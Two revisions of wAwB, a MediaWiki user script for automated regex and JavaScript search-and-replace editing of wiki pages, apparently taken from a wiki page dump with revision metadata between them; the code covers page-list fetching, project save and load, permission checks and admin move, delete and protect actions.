$form.appendTo('body').submit().remove();
});
btnWatch.on('click', function() {
var isWatched = btnWatch.getIcon() === 'unStar';
new mw.Api()[isWatched ? 'unwatch' : 'watch'](currentTitle).then(function() {
btnWatch.setIcon(isWatched ? 'star' : 'unStar');
mw.notify(isWatched ? 'Unwatched' : 'Watched');
});
});
btnAdd.on('click', function() {
if (isFetching) {
isFetching = false;
btnAdd.setDisabled(true).setLabel('Cancelling...');
return;
}
try {
var mode = srcSelect.getValue(),
q = srcInput.getValue().trim();
if (mode !== 'watchlist' && mode !== 'usercontribs' && mode !== 'pageswithprop' && !q) {
alert('Query empty');
return;
}
var nsIds = ($nsSelect.val() || []).map(v => parseInt(v));
var nsStr = nsIds.join('|');
var api = new mw.Api(),
promises = [];
if (mode === 'cat') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'categorymembers',
cmtitle: mw.Title.newFromText(q, 14) ? mw.Title.newFromText(q, 14).getPrefixedText() : 'Category:' + q,
cmnamespace: nsStr,
cmtype: (chkCatPages.isSelected() ? 'page|' : '') + (chkCatSub.isSelected() ? 'subcat|' : '') + (chkCatFile.isSelected() ? 'file' : ''),
cmlimit: 'max'
}));
else if (mode === 'linksto') {
if (chkLinkWiki.isSelected()) promises.push(fetchWithContinue(api, {
action: 'query',
list: 'backlinks',
bltitle: q,
blnamespace: nsStr,
bllimit: 'max',
blfilterredir: dropLinkRedir.getValue(),
blredirect: chkLinkToRedir.isSelected()
}));
if (chkLinkTrans.isSelected()) promises.push(fetchWithContinue(api, {
action: 'query',
list: 'embeddedin',
eititle: q,
einamespace: nsStr,
eilimit: 'max',
eifilterredir: dropLinkRedir.getValue()
}));
if (chkLinkImg.isSelected()) promises.push(fetchWithContinue(api, {
action: 'query',
list: 'imageusage',
iutitle: q,
iunamespace: nsStr,
iulimit: 'max',
iufilterredir: dropLinkRedir.getValue()
}));
} else if (mode === 'linkson') promises.push(fetchWithContinue(api, {
action: 'query',
generator: 'links',
titles: q,
gplnamespace: nsStr,
gpllimit: 'max',
prop: 'info'
}));
else if (mode === 'prefix') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'allpages',
apprefix: q,
apnamespace: nsIds[0] || 0,
aplimit: 'max'
}));
else if (mode === 'watchlist') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'watchlistraw',
wrnamespace: nsStr,
wrlimit: 'max'
}));
else if (mode === 'search') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'search',
srsearch: q,
srnamespace: nsStr,
srlimit: 'max'
}));
else if (mode === 'usercontribs') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'usercontribs',
ucuser: srcInputUser.getValue(),
ucstart: srcInputStartDate.getValue(),
ucend: srcInputEndDate.getValue(),
ucdir: 'newer',
uclimit: 'max',
ucnamespace: nsStr,
ucprop: 'title'
}));
else if (mode === 'pageswithprop') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'pageswithprop',
pwppropname: srcDropProp.getValue(),
pwplimit: 'max'
}));
Promise.all(promises).then(function(res) {
var list = new Set();
res.forEach(titles => titles.forEach(t => list.add(t)));
var currentVal = listTextarea.getValue();
var newVal = Array.from(list).join('\n');
listTextarea.setValue(currentVal ? currentVal + '\n' + newVal : newVal);
mw.notify('Added ' + list.size + ' pages');
}).catch(e => alert('Error: ' + e));
} catch (e) {
alert("Fetch error: " + e);
}
});
btnSort.on('click', function() {
var v = listTextarea.getValue();
if (v) {
var lines = getNormalizedList(v);
lines.sort((a, b) => sortAsc ? a.localeCompare(b) : b.localeCompare(a));
listTextarea.setValue(lines.join('\n'));
sortAsc = !sortAsc;
}
});
btnDedup.on('click', function() {
var v = listTextarea.getValue();
if (v) listTextarea.setValue(getDeduplicatedList(v).join('\n'));
});
btnClear.on('click', function() {
listTextarea.setValue('');
});
btnSaveProj.on('click', function() {
try {
var currentMode = srcSelect.getValue();
if (['watchlist', 'usercontribs', 'pageswithprop'].indexOf(currentMode) === -1) queryCache[currentMode] = srcInput.getValue();
var saveExcludes = {};
for (var k in protCheckboxes) saveExcludes[k] = protCheckboxes[k].isSelected();
var data = {
version: APP_VERSION,
library: currentLibrary,
source: {
activeMode: currentMode,
namespaces: ($nsSelect.val() || []).map(v => parseInt(v)),
modes: {
cat: {
query: queryCache['cat'] || '',
options: {
pages: chkCatPages.isSelected(),
sub: chkCatSub.isSelected(),
file: chkCatFile.isSelected()
}
},
linksto: {
query: queryCache['linksto'] || '',
options: {
wiki: chkLinkWiki.isSelected(),
trans: chkLinkTrans.isSelected(),
img: chkLinkImg.isSelected(),
redir: dropLinkRedir.getValue(),
toRedir: chkLinkToRedir.isSelected()
}
},
linkson: {
query: queryCache['linkson'] || ''
},
prefix: {
query: queryCache['prefix'] || ''
},
watchlist: {
query: ''
},
search: {
query: queryCache['search'] || ''
},
usercontribs: {
options: {
user: srcInputUser.getValue(),
start: srcInputStartDate.getValue(),
end: srcInputEndDate.getValue()
}
},
pageswithprop: {
options: {
prop: srcDropProp.getValue()
}
}
}
},
settings: {
redir: redirMode.findSelectedItem().getData(),
skipLogic: radSkipExist.findSelectedItem().getData(),
skipNoChange: chkSkipNoChange.isSelected(),
minor: chkMinor.isSelected()
},
filters: {
contains: {
val: inpSkipContains.getValue(),
regex: togSkipContainsRegex.getValue()
},
notContains: {
val: inpSkipNotContains.getValue(),
regex: togSkipNotContainsRegex.getValue()
},
categories: {
skip: inpSkipCategories.getValue(),
require: inpSkipNotCategories.getValue()
}
},
rules: rulesRegistry.map(r => ({
find: r.find.getValue(),
replace: r.rep.getValue(),
regex: r.regex.getValue(),
flags: r.flags.getValue(),
enabled: r.isActive(),
isFunc: r.isFunc()
})),
scripts: {
pre: txtPreScript.getValue(),
post: txtPostScript.getValue()
},
processing: {
summary: inputSummary.getValue(),
list: listTextarea.getValue()
},
protection: {
mode: dropProtMode.getValue(),
excludes: saveExcludes,
target: (radTargetSet.findSelectedItem() || {
getData: () => null
}).getData(),
templateFilter: inpTemplateFilter.getValue()
}
};
var a = document.createElement('a');
a.href = URL.createObjectURL(new Blob([JSON.stringify(data, null, 1)], {
type: "application/json"
}));
a.download = "wawb_project.json";
a.click();
} catch (e) {
alert("Save error: " + e);
}
});
btnLoadProj.on('click', function() {
$fileInput.click();
});
function applyIf(val, action) {
if (val !== undefined && val !== null) action(val);
}
$fileInput.on('change', function(e) {
var file = e.target.files[0];
if (!file) return;
var reader = new FileReader();
reader.onload = function(evt) {
try {
var data = JSON.parse(evt.target.result);
isLoadingProject = true;
// --- 1. SOURCE SETTINGS ---
applyIf(data?.source?.namespaces, v => $nsSelect.val(v.map(String)));
if (data?.source?.modes) {
var m = data.source.modes;
// Merge into queryCache instead of wiping it
for (var key in m) {
if (m[key]?.query !== undefined) queryCache[key] = m[key].query;
}
applyIf(m?.cat?.options?.pages, v => chkCatPages.setSelected(v));
applyIf(m?.cat?.options?.sub, v => chkCatSub.setSelected(v));
applyIf(m?.cat?.options?.file, v => chkCatFile.setSelected(v));
applyIf(m?.linksto?.options?.wiki, v => chkLinkWiki.setSelected(v));
applyIf(m?.linksto?.options?.trans, v => chkLinkTrans.setSelected(v));
applyIf(m?.linksto?.options?.img, v => chkLinkImg.setSelected(v));
applyIf(m?.linksto?.options?.redir, v => dropLinkRedir.setValue(v));
applyIf(m?.linksto?.options?.toRedir, v => chkLinkToRedir.setSelected(v));
applyIf(m?.usercontribs?.options?.user, v => srcInputUser.setValue(v));
applyIf(m?.usercontribs?.options?.start, v => srcInputStartDate.setValue(v));
applyIf(m?.usercontribs?.options?.end, v => srcInputEndDate.setValue(v));
applyIf(m?.pageswithprop?.options?.prop, v => srcDropProp.setValue(v));
}
// --- 2. SETTINGS & SKIP LOGIC ---
applyIf(data?.settings?.redir, v => redirMode.selectItemByData(v));
applyIf(data?.settings?.skipLogic, v => radSkipExist.selectItemByData(v));
applyIf(data?.settings?.skipNoChange, v => chkSkipNoChange.setSelected(v));
applyIf(data?.settings?.minor, v => chkMinor.setSelected(v));
// --- 3. PROTECTION ---
applyIf(data?.protection?.mode, v => dropProtMode.setValue(v));
applyIf(data?.protection?.target, v => radTargetSet.selectItemByData(v));
applyIf(data?.protection?.templateFilter, v => inpTemplateFilter.setValue(v));
if (data?.protection?.excludes) {
for (var k in data.protection.excludes) {
if (protCheckboxes[k]) applyIf(data.protection.excludes[k], v => protCheckboxes[k].setSelected(v));
}
}
// --- 4. LIBRARY ---
applyIf(data?.library?.name, v => currentLibrary.name = v);
applyIf(data?.library?.code, v => currentLibrary.code = v);
if (data?.library?.name || data?.library?.code) updateLibUI();
// --- 5. FILTERS ---
applyIf(data?.filters?.contains?.val, v => inpSkipContains.setValue(v));
applyIf(data?.filters?.contains?.regex, v => togSkipContainsRegex.setValue(v));
applyIf(data?.filters?.notContains?.val, v => inpSkipNotContains.setValue(v));
applyIf(data?.filters?.notContains?.regex, v => togSkipNotContainsRegex.setValue(v));
applyIf(data?.filters?.categories?.skip, v => inpSkipCategories.setValue(v));
applyIf(data?.filters?.categories?.require, v => inpSkipNotCategories.setValue(v));
// --- 6. SCRIPTS & PROCESSING ---
applyIf(data?.scripts?.pre, v => txtPreScript.setValue(v));
applyIf(data?.scripts?.post, v => txtPostScript.setValue(v));
applyIf(data?.processing?.summary, v => inputSummary.setValue(v));
applyIf(data?.processing?.list, v => listTextarea.setValue(v));
// --- 7. DYNAMIC RULES ARRAY ---
if (data?.rules && Array.isArray(data.rules)) {
rulesRegistry.forEach(r => r.row.remove());
rulesRegistry = [];
$rulesList.empty();
data.rules.forEach(r => {
addRule();
var last = rulesRegistry[rulesRegistry.length - 1];
applyIf(r.find, v => last.find.setValue(v));
applyIf(r.replace, v => last.rep.setValue(v));
applyIf(r.regex, v => {
last.regex.setValue(v);
last.flags.setDisabled(!v);
});
applyIf(r.flags, v => last.flags.setValue(v));
applyIf(r.enabled, v => last.setActive(v));
applyIf(r.isFunc, v => last.setFunc(v));
});
if (rulesRegistry.length === 0) addRule();
}
// --- 8. TRIGGER UI UPDATES ---
applyIf(data?.source?.activeMode, v => {
isLoadingProject = false;
srcSelect.setValue(v);
srcSelect.emit('change', v);
isLoadingProject = true;
});
isLoadingProject = false;
setStatus('Project loaded');
} catch (err) {
alert("Load Error: " + err);
}
$fileInput.val('');
};
reader.readAsText(file);
});
if (CAN_MOVE || IS_ADMIN) {
togAdminEnable.on('change', function(val) {
if (!currentTitle) {
updateInterfaceMode();
return;
}
if (val) {
Editor.setValue(originalWikitext);
updateInterfaceMode();
renderDiff();
setStatus('Ready (Page actions)');
} else processPageContent();
});
}
if (CAN_MOVE) {
btnAdminMove.on('click', function() {
if (!currentVars['$xA']) {
mw.notify('Variable $xA not set', {
type: 'error'
});
return;
}
new mw.Api().postWithToken('csrf', {
action: 'move',
assert: 'user', //throw 'assertuserfailed' when logged-out
from: currentTitle,
to: currentVars['$xA'],
reason: inputSummary.getValue() + SUMMARY_SUFFIX,
movetalk: chkMovTalk.isSelected(),
movesubpages: chkMovSub.isSelected(),
noredirect: chkMovRedirect.isSelected()
}).then(function() {
removeTopLine();
loadNextPage();
}).catch(e => alert('Move failed: ' + e));
});
}
if (IS_ADMIN) {
btnAdminDel.on('click', function() {
new mw.Api().postWithToken('csrf', {
action: 'delete',
assert: 'user', //throw 'assertuserfailed' when logged-out
title: currentTitle,
reason: inputSummary.getValue() + SUMMARY_SUFFIX
}).then(function() {
if (chkDelTalk.isSelected()) new mw.Api().postWithToken('csrf', {
action: 'delete',
title: mw.Title.newFromText(currentTitle).getTalkPage().getPrefixedText(),
reason: 'Talk page of deleted page'
});
removeTopLine();
loadNextPage();
}).catch(e => alert('Delete failed: ' + e));
});
btnAdminProt.on('click', function() {
var protections = [];
if (dropProtEdit.getValue()) protections.push('edit=' + dropProtEdit.getValue());
if (dropProtMove.getValue()) protections.push('move=' + dropProtMove.getValue());
new mw.Api().postWithToken('csrf', {
action: 'protect',
assert: 'user', //throw 'assertuserfailed' when logged-out
title: currentTitle,
protections: protections.join('|'),
expiry: inpProtExpiry.getValue() || 'infinite',
reason: inputSummary.getValue() + SUMMARY_SUFFIX
}).then(function() {
removeTopLine();
loadNextPage();
}).catch(e => alert('Protect failed: ' + e));
});
}
Editor.init();
resetPanels();
});
$(window).on('beforeunload', function() {
return "You have unsaved work.";
});
}).catch(e => console.error("wAwB Loader Error:", e));
//</nowiki>
d1kb0vl4c6rve89e9xir464tbjwo35v
768362
768359
2026-10-14T06:36:18Z
Ponor
47975
protect all &'s from .html()
768362
javascript
text/javascript
/*
* wAwB – An in-browser application for automated editing of wiki pages.
* Features: customizable regex or JavaScript search-and-replace rules,
* custom JavaScript pre/post-processing functions and function libraries,
* granular protection or targeting of different parts of wikitext,
* a full-fledged CodeMirror editor, and options to move, delete, and protect pages.
* Author: [[User:Ponor]]
* Documentation: [[User:Ponor/wAwB]]
* License: GNU General Public License (GPL)
*/
//<nowiki>
mw.loader.using([
'oojs-ui-core',
'oojs-ui-widgets',
'oojs-ui-windows',
'mediawiki.api',
'mediawiki.diff.styles',
'mediawiki.util',
'mediawiki.page.gallery.styles',
'oojs-ui.styles.icons-content',
'oojs-ui.styles.icons-interactions',
'oojs-ui.styles.icons-movement',
'oojs-ui.styles.icons-moderation',
'oojs-ui.styles.icons-editing-core',
'oojs-ui.styles.icons-editing-advanced'
]).then(function() {
// =====================================================================
// 1. STATE & CONFIGURATION
// =====================================================================
var SCRIPT_TIMEOUT_MS = window.wa_timeout || 5000;
var FETCH_SAFETY_LIMIT = window.wa_fetchLimit || 10000;
var APP_NAME = "wAwB";
var DO_TAG = false;
var SUMMARY_SUFFIX = window.wa_suffix || " [[:w:en:User:Ponor/wAwB| #wAwB]]";
var APP_VERSION = "0.7";
var DOC_URL = window.wa_docUrl || "https://en.wikipedia.org/wiki/User:Ponor/wAwB";
document.title = window.wa_editIn || "Edit in wAwB";
var PERMS = {
canSave: false,
allowBot: false,
saveDelay: 0
};
var IS_ADMIN = mw.config.get('wgUserGroups').includes('sysop');
var CAN_MOVE = IS_ADMIN || mw.config.get('wgUserGroups').includes('extendedmover') || mw.config.get('wgUserGroups').includes('filemover') || mw.config.get('wgUserGroups').includes('pagemover');
var WIKI = mw.config.get('wgDBname');
var ON_NOTIFY = window.wa_onNotification || 'warn'; // warn, stop, nothing
var ON_NOTIFY_FREQ = 30 * 1000; // every 30s
var SAVED_RUN = 0;
var SAVED_SESSION = 0;
var currentPageExists = false;
var isRunning = false;
var isFetching = false;
var currentTitle = null;
var currentVars = {};
var currentLibrary = {
name: null,
code: null
};
var originalWikitext = "";
var currentPageSummaryAppend = "";
var currentPageSummaryOverride = null;
var baseRevId = 0;
var currentViewMode = 'diff';
var viewScroll = resetViewScroll();
var autoSaveTimer = null;
var propNamesLoaded = false;
var hasNewSources = false;
var currentHeightMode = 1; // 0=25%, 1=45% (default), 2=72%
var heightValues = ['25%', '45%', '72%'];
// EXTERNAL RULES STATE
var wikiTypos = [];
var localTypos = [];
// LOADING FLAG
var isLoadingProject = false;
// NAMESPACE ALIASES
var nsIds = mw.config.get('wgNamespaceIds');
var catAliases = [],
fileAliases = [];
for (var key in nsIds) {
if (nsIds[key] === 14) catAliases.push(key.replace(/_/g, ' '));
if (nsIds[key] === 6) fileAliases.push(key.replace(/_/g, ' '));
}
catAliases.sort((a, b) => b.length - a.length);
fileAliases.sort((a, b) => b.length - a.length);
var REGEX_CAT_PFX = catAliases.map(mw.util.escapeRegExp).join('|');
var REGEX_FILE_PFX = fileAliases.map(mw.util.escapeRegExp).join('|');
// MASTER PROTECTION DEFINITIONS
var PROTECTION_DEFS = [{
id: 'nowiki',
isOn: false,
label: 'Nowiki: <nowiki>',
regex: /<nowiki>[\s\S]*?<\/nowiki>|<nowiki\s*\/>/gi
},
{
id: 'comments',
isOn: true,
label: 'Comments: <!' + '-- -->',
regex: new RegExp('<!' + '--[\\s\\S]*?--' + '>', 'g')
},
{
id: 'headers',
isOn: false,
label: 'Headers: == Title ==',
regex: /^==+[\s\S]+?==+\s*$/gm
},
{
id: 'templates',
isOn: false,
label: 'Templates: {{...}}',
open: '{{',
close: '}}',
species: null,
regex: null
},
{
id: 'tables',
isOn: false,
label: 'Tables: {|...|}',
open: '\n{|',
close: '\n|}',
regex: null
},
{
id: 'images',
isOn: false,
label: 'Images: [[File:...|...|...]]',
open: '[[',
close: ']]',
species: '(?:' + REGEX_FILE_PFX + ')\\s*:',
regex: null
},
{
id: 'refs',
isOn: false,
label: 'Refs: <ref...',
regex: /<ref[^>]*?\/>|<ref[^>]*?(?<!\/)>[\s\S]*?<\/ref>/gi
},
{
id: 'blocks',
isOn: false,
label: 'Blocks: math, gallery...',
regex: null
},
{
id: 'categories',
isOn: false,
label: 'Categories: [[Category:...]]',
regex: new RegExp('\\[\\[\\s*(' + REGEX_CAT_PFX + ')\\s*:[^\\]]+\\]\\]', 'giu')
},
{
id: 'files',
isOn: false,
label: 'File names: File:...',
regex: new RegExp('(?<=\\[\\[\\s*:?(:?' + REGEX_FILE_PFX + ')\\s*:)[^|\\]]+' + '|^\\s*(?:' + REGEX_FILE_PFX + ')\\s*:([^\\][}{|\\n]{1,150}\\.(?:svg|png|jpe?g|gif|tiff|webp|xcf|mp3|midi|ogg|webm|flac|wav|mpe?g|pdf|djv))', 'gmiu')
},
{
id: 'targets',
isOn: false,
label: 'Targets of [[...|',
regex: /(?<=\[\[:?)[^|\]]+?(?=\||\]\])/g
},
{
id: 'extlinks',
isOn: false,
label: 'External links: [...]',
regex: /(?<=\[)(https?:\/\/|ftps?:\/\/|mailto:)[^\]]+(?=\])/gi
},
{
id: 'urls',
isOn: false,
label: 'URLs: http...',
regex: /https?:\/\/[^\s<>[\]"'`|()]+/gi
}
];
// =====================================================================
// 2. CSS STYLES
// =====================================================================
var styles = `
* { box-sizing: border-box; }
#wa-root { font-family: sans-serif; height: 100vh; width: 100vw; overflow: hidden; display: flex; font-size: 14px; }
#wa-left-panel { width: 400px; min-width: 400px; max-width: 400px; background: var(--background-color-base, #fff); border-right: 1px solid #c8ccd1; display: flex; flex-direction: column; z-index: 10; overflow-x: hidden; }
#wa-left-panel h3 { color: #3f6fcf; text-align: center; margin: 12px 0 0 0; }
#wa-username { color: #3f6fcf; text-align: center; margin: 2px 0; font-size: 92%; }
#wa-content-area { flex: 1; padding: 10px 10px 100px 10px; overflow-y: auto; overflow-x: hidden; }
#wa-right-panel { flex: 1; display: flex; flex-direction: column; height: 100%; background: var(--background-color-interactive, #eaecf0); overflow: hidden; }
#wa-visual-output { flex: 0 0 45%; min-height: 0; overflow-y: auto; background: var(--background-color-base, #fff); padding: 20px; border-bottom: 1px solid #c8ccd1; }
.wa-editor-header { flex: 0 0 40px; min-height: 40px; padding: 0 10px; background: var(--background-color-interactive-subtle, #f8f9fa); border-bottom: 1px solid #c8ccd1; display: flex; gap: 25px; justify-content: space-between; align-items: center; z-index: 10; }
.wa-editor-header.wa-dirty { background: var(--background-color-warning-subtle, #fdf2d5); border-bottom: 1px solid #e6a700; }
@keyframes wa-header-pulse { 0% { background-color: var(--background-color-destructive-subtle, #fee7e6); } 50% { background-color: var(--background-color-interactive-subtle, transparent); } 100% { background-color: var(--background-color-destructive-subtle, #fee7e6); } }
.wa-editor-header.wa-header-alert { border-bottom: 2px solid var(--border-color-destructive, #b32424) !important; animation: wa-header-pulse 1s 60 ease-in-out forwards !important; }
.wa-header-left { flex: 1; display: flex; align-items: center; gap: 5px; min-width: 0; overflow: hidden; }
.wa-header-right { flex: 0 0 auto; display: flex; justify-content: flex-end; align-items: center; gap: 8px; color: var(--color-placeholder, #72777d); font-size: 0.9em; }
.wa-title-link { font-weight: bold; font-size: 1.1em; color: var(--color-progressive--focus, #36c) !important; text-decoration: none; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; flex-shrink: 0; max-width: 40%; }
.wa-title-link:hover { text-decoration: underline; }
#wa-status-indicator { flex: 0 0 auto; width: 10px; height: 10px; border-radius: 50%; background-color: #00af89; cursor: help; transition: background-color 0.2s; margin-right: 2px; }
#wa-status-indicator.wa-status-working { background-color: #36c; animation: wa-pulse-blue 1.5s infinite; }
#wa-status-indicator.wa-status-error { background-color: #bf3c2c; }
@keyframes wa-pulse-blue { 0% { opacity: 1; } 50% { opacity: 0.4; } 100% { opacity: 1; } }
.wa-header-sep { border-left: 1px solid #ccc; height: 16px; flex-shrink: 0; margin: 0 2px; }
#wa-summary-preview { flex-grow: 1; color: #d00; font-style: italic; white-space: nowrap; text-overflow: ellipsis; overflow-x: auto; background: transparent; border: none; outline: none; box-shadow: none; min-width: 50px; padding: 2px 5px; scrollbar-width: none; -ms-overflow-style: none; font-size: 1em; }
#wa-summary-preview::-webkit-scrollbar { display: none; }
#wa-summary-preview:hover { background: rgba(0, 0, 0, 0.05); cursor: text; }
#wa-summary-preview:focus { background: #fff; }
.wa-info-container { margin-right: 10px; }
.wa-tools-container { display: flex; align-items: center; gap: 2px; }
.wa-resize-container { display: flex; flex-direction: column; justify-content: center; height: 100%; margin-left: 10px; padding-left: 5px; border-left: 1px solid #ccc; }
.wa-resize-btn { cursor: pointer; color: #72777d; user-select: none; width: 20px; height: 14px; display: flex; align-items: center; justify-content: center; transition: color 0.1s ease-in-out; }
.wa-resize-btn:hover { color: #36c; }
.wa-resize-btn.wa-resize-disabled { color: #ccc; cursor: default; }
#wa-proc-header { margin-top: 15px !important; border-bottom: none !important; cursor: default; }
#wa-proc-title { font-weight: bold; padding: 10px; display: block; }
#wa-proc-content { padding: 0 10px 15px 10px; }
#wa-editor-area { flex: 1; min-height: 0; display: flex; flex-direction: column; background: var(--background-color-base, #fff); position: relative; overflow: hidden; }
#wa-editor-textarea { flex: 1; height: 100%; font-family: monospace; font-size: 13px; border: none; outline: none; padding: 10px; resize: none; width: 100%; }
.cm-editor { height: 100% !important; flex: 1; }
.wa-section-header { margin-top: 12px; border-bottom: 1px solid #eee; width: 100%; display: block; margin-left: 0 !important; }
#wa-content-area .wa-section-header:first-child, #wa-content-area .wa-section-header.oo-ui-buttonElement-frameless:first-child { margin-top: 0; margin-left: 0 !important; }
.wa-section-header > .oo-ui-buttonElement-button { text-align: left; padding: 10px 10px !important; margin: 0 !important; display: block; width: 100%; position: relative; border-left: 3px solid #3f6fcf !important; border-radius: 3px !important; background-color: transparent !important; }
.wa-section-header > .oo-ui-buttonElement-button:focus { outline: none !important; }
.wa-section-header .oo-ui-labelElement-label { font-weight: bold; padding-left: 0 !important; margin-left: 0 !important; color: var(--color-base, #202122); }
.wa-section-header .oo-ui-indicatorElement-indicator { position: absolute; right: 10px !important; top: 50%; margin-top: -10px; left: auto !important; width: 20px; }
.wa-foldable-content { display: none; padding: 10px 0; }
.wa-source-options { background: var(--background-color-interactive-subtle, #f8f9fa); border: 1px solid #c8ccd1; border-top: none; padding: 8px; margin-bottom: 10px; font-size: 0.9em; }
.wa-opt-row { display: flex; flex-wrap: wrap; gap: 10px; margin-bottom: 5px; }
.wa-opt-label { font-weight: bold; width: 100%; margin-bottom: 5px; color: var(--color-base, #202122); }
.wa-opt-row > div { margin-top: 8px !important; margin-bottom: 8px !important; }
.wa-rule-row { background: var(--background-color-interactive-subtle, #f8f9fa); border: 1px solid #c8ccd1; padding: 8px; margin-bottom: 8px; border-radius: 4px; display: flex; align-items: stretch; transition: background-color 0.3s; }
.wa-rule-row.wa-highlight { background-color: var(--background-color-interactive, #eaecf0); border-color: #36c; }
.wa-rule-controls { display: flex; flex-direction: column; justify-content: center; gap: 0px; padding-right: 4px; border-right: 1px solid #eee; margin-right: 8px; }
.wa-rule-btn { margin: 0 !important; margin-right: 0 !important; margin-left: 0 !important; }
.wa-rule-btn > .oo-ui-buttonElement-button { margin: 0 !important; }
.wa-rule-content { flex: 1; min-width: 0; }
.wa-rule-opt-row { display: flex; justify-content: space-between; align-items: center; margin-top: 5px; }
#wa-ns-selector { width: 100%; margin-bottom: 10px; font-family: sans-serif; font-size: 0.9em; border: 1px solid #a2a9b1; }
.wa-lib-dialog > .oo-ui-window-frame { width: 80vw !important; max-width: none !important; height: 80vh !important; max-height: none !important; }
.wa-lib-editorwrapper { height: 100%; border: 1px solid #c8ccd1; position: relative; boxSizing: border-box; }
.wa-page-list-raw textarea { font-family: monospace; font-size: 0.9em; white-space: pre; overflow-x: auto; }
.wa-list-running textarea { background-color: var(--background-color-neutral-subtle, #f8f8f8) !important; color: var(--color-base, #202122) !important; }
.wa-grid-container { display: flex; gap: 6px; margin-bottom: 10px; }
.wa-grid-col { flex: 1; display: flex; flex-direction: column; gap: 6px; }
.wa-grid-col .oo-ui-buttonWidget { width: 100%; }
.wa-grid-col .oo-ui-buttonWidget .oo-ui-buttonElement-button { width: 100%; text-align: center; justify-content: center; }
.wa-toolbar { display: flex; justify-content: flex-end; align-items: center; gap: 4px; border-bottom: 1px solid #eee; padding-bottom: 4px; margin-bottom: 4px; }
.wa-list-counter { margin-right: auto; font-weight: bold; color: var(--color-subtle, #54595d); font-size: 0.9em; padding-left: 5px; }
.wa-project-bar { display: flex; flex-wrap: wrap; gap: 8px; padding: 0 10px; margin: 8px 0; justify-content: center; }
.wa-project-bar .oo-ui-buttonElement-button { padding-left: 36px !important; padding-right: 12px !important; font-size: 0.9em; }
.wa-project-bar .oo-ui-iconElement-icon { left: 10px !important; }
.wa-settings-header { font-weight: bold; color: var(--color-subtle, #54595d); margin-bottom: 8px; display: block; text-transform: uppercase; font-size: 0.9em; }
.wa-setting-row { display: flex; align-items: center; margin-bottom: 6px; }
.wa-bot-row { background: var(--background-color-success-subtle, #dff2eb); border: 1px solid #a5d6a7; padding: 8px; margin-bottom: 10px; border-radius: 4px; display: flex; align-items: center; justify-content: flex-start; gap: 15px; }
table.diff { width: 100%; font-family: "Adwaita Mono", "Courier New", monospace }
table.diff td { vertical-align: top; }
table.diff tr:hover td { background-color: var(--background-color-progressive-subtle--hover, #d9e2ff); cursor: pointer; }
.wa-flash-success { background-color: #d5fdf4 !important; transition: background-color 0.4s ease-out; }
@keyframes wa-pulse-red { 0% { box-shadow: 0 0 0 0 rgba(255, 0, 0, 0.4); border-color: #ff0000; } 70% { box-shadow: 0 0 0 6px rgba(255, 0, 0, 0); border-color: #ff0000; } 100% { box-shadow: 0 0 0 0 rgba(255, 0, 0, 0); border-color: #ff0000; } }
.wa-summary-warning input { animation: wa-pulse-red 1s infinite; border-color: #ff0000 !important; }
`;
$('<style>').text(styles).appendTo('head');
$('body').empty();
// =====================================================================
// 3. HELPER FUNCTIONS
// =====================================================================
function checkPermissions() {
return new Promise(function(resolve) {
var api = new mw.Api();
var projectNs = mw.config.get('wgFormattedNamespaces')[4];
var checkTitles = {
'permissions': projectNs + ':AutoWikiBrowser/CheckPageJSON',
'tag': 'MediaWiki:Tag-wAwB'
};
api.get({
action: 'query',
prop: 'revisions',
titles: Object.values(checkTitles).join('|'),
rvprop: 'content',
rvslots: 'main',
formatversion: 2
}).then(function(data) {
var pagePerms = data.query.pages.find(p => p.title === checkTitles['permissions']);
var pageTag = data.query.pages.find(p => p.title === checkTitles['tag']);
DO_TAG = pageTag.missing === undefined;
var userName = mw.config.get('wgUserName');
var userGroups = mw.config.get('wgUserGroups');
var isSysop = userGroups.includes('sysop');
if (!pagePerms.missing) {
try {
var content = pagePerms.revisions[0].slots.main.content;
var json = JSON.parse(content);
var inEnabledUsers = json.enabledusers && json.enabledusers.includes(userName);
var inEnabledBots = json.enabledbots && json.enabledbots.includes(userName);
var isBotGroup = userGroups.includes('bot');
var canSave = inEnabledUsers || inEnabledBots || isSysop;
var allowBot = inEnabledBots && isBotGroup;
resolve({
canSave: canSave,
allowBot: allowBot,
saveDelay: 0
});
} catch (e) {
resolve({
canSave: false,
allowBot: false,
saveDelay: 0
});
}
} else {
var editCount = mw.config.get('wgUserEditCount');
if (editCount > 500) resolve({
canSave: true,
allowBot: false,
saveDelay: 20000
});
else resolve({
canSave: false,
allowBot: false,
saveDelay: 0
});
}
}).catch(function() {
resolve({
canSave: false,
allowBot: false,
saveDelay: 0
});
});
});
}
function getUserCode(widget, globalName) {
var val = widget.getValue().trim();
if (!val || val.startsWith('// Enter')) {
if (window[globalName] && typeof window[globalName] === 'function') {
var s = window[globalName].toString();
return s.substring(s.indexOf('{') + 1, s.lastIndexOf('}'));
}
return "";
}
if (val.startsWith('function')) {
return val.substring(val.indexOf('{') + 1, val.lastIndexOf('}'));
}
return val;
}
function normalizeLine(line) {
if (!line) return null;
// Pass through comments/STOP commands (trimmed)
if (line.trim().startsWith('####')) return line.trim();
// Handle Title|Variables
var parts = line.split('|');
var title = parts[0].trim();
if (!title) return null; // Skip if title is empty
// Reassemble: Clean Title + Original Variables (preserving whitespace)
var rest = parts.length > 1 ? parts.slice(1).join('|') : null;
return title + (rest !== null ? '|' + rest : '');
}
function getNormalizedList(text) {
if (!text) return [];
return text.split('\n')
.map(normalizeLine)
.filter(function(l) {
return l !== null;
});
}
function getDeduplicatedList(text) {
if (!text) return [];
var seen = new Set();
var out = [];
var lines = text.split('\n');
for (var i = 0; i < lines.length; i++) {
var clean = normalizeLine(lines[i]);
if (clean && !seen.has(clean)) {
seen.add(clean);
out.push(clean);
}
}
return out;
}
function parseTypoContent(content) {
if (!content) return [];
try {
var contentP = content.replaceAll('&', '&'); // do not decode html char references in the external rules
var $wrapper = $('<body>').html(contentP);
var rules = [];
$wrapper.find('Typo:not([disabled])').each(function() {
var $t = $(this);
var find = $t.attr('find');
var replace = $t.attr('replace');
if (find && replace !== undefined) {
rules.push({
find: find,
replace: replace,
regex: true,
flags: 'gmu',
enabled: true,
isFunc: false
});
}
});
return rules;
} catch (e) {
return [];
}
}
function updateSummaryPreview(baseText) {
var base = currentPageSummaryOverride !== null ? currentPageSummaryOverride : (baseText || "");
